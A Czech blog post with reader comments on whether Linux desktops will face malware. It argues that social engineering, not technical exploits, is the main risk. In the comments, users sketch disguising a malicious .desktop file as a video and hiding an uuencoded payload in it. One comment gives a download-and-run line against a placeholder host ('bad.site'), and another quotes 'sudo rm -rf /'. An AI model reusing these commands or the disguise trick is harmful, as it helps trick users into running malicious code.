Linuxové viry a podobná verbež

27.4.2007 13:34 | Přečteno: 3417× | Linux | poslední úprava: 27.4.2007 13:46

Poté, co pan Kaspersky na root.cz pronesl, že počet virů bude stoupat s nárůstem uživatelů Linuxu, strhla se vlna příspěvků, které ho odsoudili. Jenže, je (a bude) Linux a především jeho uživatelé v bezpečí?

předehra: Terminologický guláš

Význam slova (počítačový) vir prošel časem jistou proměnou. Za dávných časů MS-DOSu existovaly viry jako OneHalf, Pieczk, které napadaly bootsektory disket, rezidentně se schovávaly v paměti a chovaly se polymorfně. Všeobecně to byly velmi sofistikované kusy kódu, navíc s destruktivními účinky.

Ovšem doba pokročila. Dnes se běžně pod pojem vir schová spyware, červ, nebo jakýkoli jiný, zákeřný kód zhusta vygenerovaný nějakým scriptkiddie ve VisualBasicu. Odborníci sice protestují a používají termíny přesně, ale jsou v přesile (a koneckonců máme demokracii ) a je to častem zdrojem nedorozumění.

Doba změnila i účel těchto aplikací. Místo destruktivní činnosti se zaměřují na posílání spamů, sledování uživatele, zobrazování reklam, nebo obecně slouží jako jednotka v nějakém tom botnetu

Takže pojmem vir obecně označuje libovolný škodlivý kód a já ho budu v tomto významu používat i nadále.

Způsoby šíření

Mnoho virů se šíří automaticky kdysi po disketách, dnes po síti. Ovšem trojské koně, nebo spyware, je často součástí nějaké aplikace. Nástupu ILOVEYOU ukázal, že místo složitých technik je jednodušší prostě použít sociálního inženýrství a nechat uživatele, ať si kód posílejí sami.

Serverové a systémové nebezpečí

Klasické viry typu OneHalf - vůči nim je Linux díky svojí unixové architektuře odolný. Systém oddělených práv v kombinaci s aktualizovaným systémem a velkou heterogenitou těchto systémů neumožňují psát viry, které by se mohly víc šířit - seznam linuxových virů

Červy - jsou velice podobné virům, ale klasicky se takto označují ty programy, které se šíří prostřednictvím sítě. Unixové systémy nejsou proti těmto útokům odolné, ale rychlé bezpečnostní aktualizace spolu s velkou heterogenitou nedávají těmto potvůrkám velkou šanci. Navíc, útoky jsou vesměs vedeny proti známým děravým programům typu ftp servery, nebo bind, které proto mnozí správci ponechávají v chrootu.

Z hlediska správce serveru jsou tyto útoky významné, z hlediska desktopového uživatele už méně (pokud si aktualizuje distribuci, je téměř bez šance mu nakazit systém)

Desktopové nebezpečí

Na desktopu v současnosti používají Linux vesměs geekové, takže vytvářet ILOVEOYU.sh je úplně zbytečné, protože si to nikdo nespustí. Jenže, pokud jej bude používat každá sekretářka, bude se ILOVEYOU.sh spouštět i tam. Jediným rozdílem je, že je na Linuxu řádově složitější takový program spustit, ale v momentě, kdy bude v emailu od kamarádky napsaný návod, pravděpodobnost spuštění vzroste.

Navíc, každý správný unix nabízí dostatek prostoru pro oběšení uživatele. Takové KDE se svým DCOPem nabízí takové možnosti, nad nimiž by se bastličům ve VBS asi protočily panenky. Jakmile nastoupí DBUS, bude mít každý vir, který nějak uživatele donutí, aby jej spustil, prakticky ráj na zemi. Prohlížeče pravidelně ukazující zadané weby, dialogová okna s reklamou, a kdo ví, co všechno tyto lidi napadne.

Závěr

Linux jako systém je vůči škodlivému kódu odolný. Nemusíme se bát automaticky spouštěných příloh, nebo naboření systému. Máme balíčky, máme unixovou architekturu, atd. A v současnosti je většina linuxáků počítačovými odborníky, co nespouštějí každou blbost.

Ovšem na co dnes rozhodně není nikdo připraven je situace, až začnou negeekům chodit emaily typu

To view naked Paris Hilton, save an attachment and type 'sh paris_naked.sh'

a budou volat vás, kteří budete budete muset počítač od toho nějak vyčistit (a poslouchat řeči "vždyť jsi říkal, že na tom Linuxu nemají být viry"). A před neznalostí/hloupostí uživatele nedokáže chránit žádný systém (který by šlo zároveň používat).

       

Komentáře

[thingie]

Ještě jeden odporník a udělám z tebe fajnovou (leč jenom na jedno použití) součástku T3 :-P (v dobré náladě možná nějaké modernizované verze)

[Michal Vyskočil]

V tomto případě to být jen překlep

[thingie]

Jó… kdo s čím zachází, tím také schází!

[David Jaša]

Ano, tam jsou místo univerzálních odporníků pouze brzdové.

[thingie]

Správně, takže rozjezd přežije.

[Lu-Tze]

Lepší je sh paris-hilton.wmv.

Ale nejlepší bude, použít takové ty .desktop soubory (z ~/Desktop), protože lidi si často ukládají věci na plochu. Ty mají samozřejmě i položku Exec...

[thingie]

Což. Ono vůbec obecně. Celý svět má tendenci stát se spustitelným kódem což je právě noční můra každého bezpečnobubla.

[Michal Vyskočil]

No vidíš, ze mě sociální inženýr asi nebude

[Lu-Tze]

Ono to fakt není marné, firefox implicitně ukládá na plochu, může to mít ikonku jako video, Name=parishilton.wmv, možná by to v nějaké položce mohlo nést i data (to video). Takže když se na to klikne, spustí se ošklivá akce, pak se rozbalí na plochu soubor s videem, smaže se .desktop soubor, spustí se video v přehrávači...

[Michal Vyskočil]

Koneckonců, v akci může být wget "http://bad.site/virus -O /tmp/virus"; sh /tmp/virus ...

[Lu-Tze]

To jistě může, ale pak je to závislé na funkčnosti bad.site nebo jiné metodě jak ten zlý skript získávat. Lepší by bylo, kdyby to fungovalo i offline. Myslím, že by stačilo použít nějakou položku (položky), která není ve specifikaci, to jsou ty "X-" a do nich vložit (třeba uuencodovaná) data. Příkaz v Exec by měl za úkol rozbalit data a spustit škodlivý kód.

[David Heidelberg]

Přemýšleli jste někdy o tom co by se stalo kdyby nebyly viry(a spyware atd.)? To by nám potom asi Symantec a další firmy zkrachovaly

Někdy přemýšlím, jestli náhodou sami neplatí za vývoj(nebo nevyvyjí) virů , aby si každý musel koupit jejich skvělý produkt který ochrání jeho počítač

0K1AS

PS: Osobně mně tedy přijde, že ani na Windows(XP SP2,bez WinUpdate) zkušenější uživatel nepotřebuje antivirus. Stačí nespouště exe které člověk si nestahnul z ověřených zdrojů. Samozřejmě i tak je dobré jednou za pl roku to něčím zkontrolovat, ale po 2 letech jsem nepotkal ani virus.

[xkesh]

PS: Osobně mně tedy přijde, že ani na Windows(XP SP2,bez WinUpdate) zkušenější uživatel nepotřebuje antivirus. Stačí nespouště exe

Není to tak dávno, co se Windowsy hromadně nakazily pouze surfováním po netu - rozhodně nebylo třeba spouštět žádné .exe. To byl takovej ten virus, co po čase rebootnul systém... je to několik málo let a bylo to opravdu všude. Dokonce obchody nabízely (nevím jestli u nás, ale v Německu ano) k nedávno prodaným počítačům CD s aktualizací a pomocným programem.

[xxx]

JJ, stačila jedna záplata od Moftu. Taková veselá hříčka .

[David Heidelberg]

tak samozřejmě jsem nepoužíval IE , ale FireFox

[Václav HFechs Švirga]

Se SP1 ti to nepomohlo, stačilo mít neaktualizovaný windows (po čisté instalaci do 10 minut, vlastní zkušenost, blbě se to stíhá) a veřejnou IP adresu... Žádny prohlížeč jsi nemusel pustit. Ale samozřejmě že firewall je základ, s ním můžeš mít windows i bez antiviru.

[Luk]

Ano, to byl to msblaster. Také jsem tehdy chytil tuhle potvoru, měl jsem tehdy z nějakého důvodu ve Windows odstavený firewall (což se ukázalo jako klíčová věc). Ale tenhle červ se dal (v první chvíli, bez informací, o co jde) docela úspěšně eliminovat tím, že se jeho EXE soubor přepsal nějakým jiným (třeba prázdným). Červ pak sice přes port 135 nakoukl do systému, ale když zjistil přítomnost daného souboru, jeho činnost tím skončila.

[clipper]

Jojo, to byl ten, který mne tak štval až jsem přešel na Linux.

[_____]

Není to tak dávno, co se Windowsy hromadně nakazily pouze surfováním po netu - rozhodně nebylo třeba spouštět žádné .exe. To byl takovej ten virus, co po čase rebootnul systém... je to několik málo let a bylo to opravdu všude.

To je ta méně závažná polovina. Ve skutečnosti je tato díra zajímavější tím, že na ni existoval Windows exploit jak pro script kiddie, kam stačilo zadat pouze cílovou IP adresu a vyskočil vzdálený příkazový řádek. Jmenovalo se to nějak na způsob DCOM RPC Exploit by DarkSideOfKalez.

A tomu restartu šlo zabránit nějakým přepínačem od shutdown, tuším shutdown /k nebo shutdown /i.

[xxx]

Naprosto souhlasím. Poslední "vir", který jsem na Windows poznal, byl ILY. Jsem ho spustil, abych se podíval jak funguje . Firmy jak Symantec apod. nevydělavají díky nějakým zkušeným haxourům, kteří píší sofistikované viry, ale vydělávají jen a pouze na blbosti uživatelů.

[xkesh]

Jenže, je (a bude) Linux a především jeho uživatelé v bezpečí?

Je zajímavé, že se diskutují a připouštějí jakési "viry" pro linuxové systémy, ale zatím nějak nepozoruji, že by se i proti těm hypotetickým plánoval nějaký "antivirák" - a hlavně, jak by asi v Linuxu pracoval - pro každou distribuci zvlášť?

[thingie]

Proč by měl. Antivirus není ze strategického pohledu zajímavý, nejde o systémové řešení a nese to tunu problémů.

[Shadow]

Antivirák (alespoň klasický) už dávno máme - clamav.

[Luk]

ClamAV se výborně hodí pro kontrolu pošty na serveru, ale na desktop jako klasický antivir se nehodí. Je pomalý a pro použití jako on-access scanner ("rezidentní štít") vyžaduje některou z metod integrace do systému (modul Dazuko, AVFS, ClamFS apod.), což není triviální a zatím to snad v žádné distribuci není připraveno.

[teekey]

to se bohuzel tyka vsech OS, nejkrytictejsi misto je uzivatel :(

[Bubak]

Zkus si kazdy vyskyt slovicka "vir" v textu nahradit prelozenym "muz", pripadne "manzel".

Jinak hezky sepsane.

[_____]

Cože? Že viry v Linuxu neexistují? Zkusil sis někdy spustit nějaký pod Wine?

[Petr "Glubo" Sýkora]

Zkusil, většinou segfaultovaly, nebo na něčem spadly, ale pár se jich zdálo spustitelných. ;)

[Jiří Jakeš]

Často ukazuji seznam zaznamenaných virů za poslední rok. Jsou tam jen dva viry označené slovíčkem Linux. Ten lepší z nich nakazil jeden počítač ze dvou miliard, ten druhý ze čtyř…

[Michal Vyskočil]

No to ano, protože viry (v klasickém slova významu) a červy mají na Linuxu opravdu velké potíže s přežitím a do stádia ostatních, řekněme uživatelských druhů, virů se Linux ještě nedostal.

Počet lidí, kteří je umí napsat je malý (takže návratnost je mizivá) a vesměs se jedná o lidi, kteří unixu fandí. Navíc je tu sociální inženýrství složité, pokud mi dojde mail s přílohou Paris.Hilton.desktop (sh, py, pl, ...) tak to poslední, co udělám je, že na to kliknu, dokud nezjistím, o co jde Takto se asi zachová většina uživatelů.

Na druhou stranu, co se asi stane, až přijde mojí přítelkyni email od kamarádky s přílohou Brad.Pitt.desktop s instrukcemi, ulož na plochu a klikni?

[xkesh]

Na druhou stranu, co se asi stane, až přijde mojí přítelkyni email od kamarádky s přílohou Brad.Pitt.desktop s instrukcemi, ulož na plochu a klikni?

Pak Linux zvítězil

[tomfi]

Sory že to oživuji po takovém čase :)

Já nevím, ale ze systémového hlediska byla problematika virů vyřešena na většině operačních systémech té doby v 90 letech kdy se zjistilo že je to chyba :) .... microsoft jako jediný nereagoval, a od té doby se objevují pověsti o tom, že windows obsahují viry protože jsou nejrozšířenější.

Pravdou zůstává, že antivirové firmy se chytli díky jednomu jedinýmu viru a díky super propagaci ( zase odkazuji na historii, jde o to že vytvořili pocit nebezpečí pomocí kvalitní kampaně na kterou skočili snad všechna média a od té doby začali vydělávat... do té doby to byla taková hodně okrajová a poměrně nevýdělečná oblast IT ;) )

Velice rád bych viděl nehipotetickej "virus" na linuxu .... něco co se samo šíří, škodí... možná by stačilo něco co škodí bez přičinění uživatele ... nemyslím věc typu:Ahoj jsem somálský virus: napiš do konzole: sudo rm -rf / ....

Problém s ideiologií vytvářenou na základě toho, že by něco MOHlo vzniknout je opravdu hipotetický, nejde o variabilitu, ale o způsob řešení problému. Pokud by takový virus vzniknul tak velice rychle by byla vytvořena oprava chyby, chyby že vůbec virus funguje!!!

[Honza]

Troufám si tvrdit, že narozdíl od většiny uživatelů Linuxu, jsem na architekturu založenou na Windows jedním z velice erudovaných odborníků, takovým, o jakém se bastličům na linuxu ani nezdá. VBS skript je programovací jazyk, na který se nějaký PERL nebo PHP nedotáhne ani za 20 let. Moc se to neví, v linuxové komunitě obzvlášť, ale pomocí skriptů VBS je např. možné velice jednoduše a efektivně spravovat jakákoliv konta v Active Directory - centrálním systému uložení doménových kont - tedy nejlepším možném způsobu uložení kont. VBS umí věci, o kterých se dětem hrajícím si s linuxem (linux je systém pro děti), ani nesní. Ale co čekat od linuxových amatérů, kteří v životě neviděli Windows Server, že? Takový linuxák umí pouze hloupě pindat.

[Linuxátor]

xD :D !!!! sudo kill all windows & sudo apt-get install linux & sudo apt-get update ... xD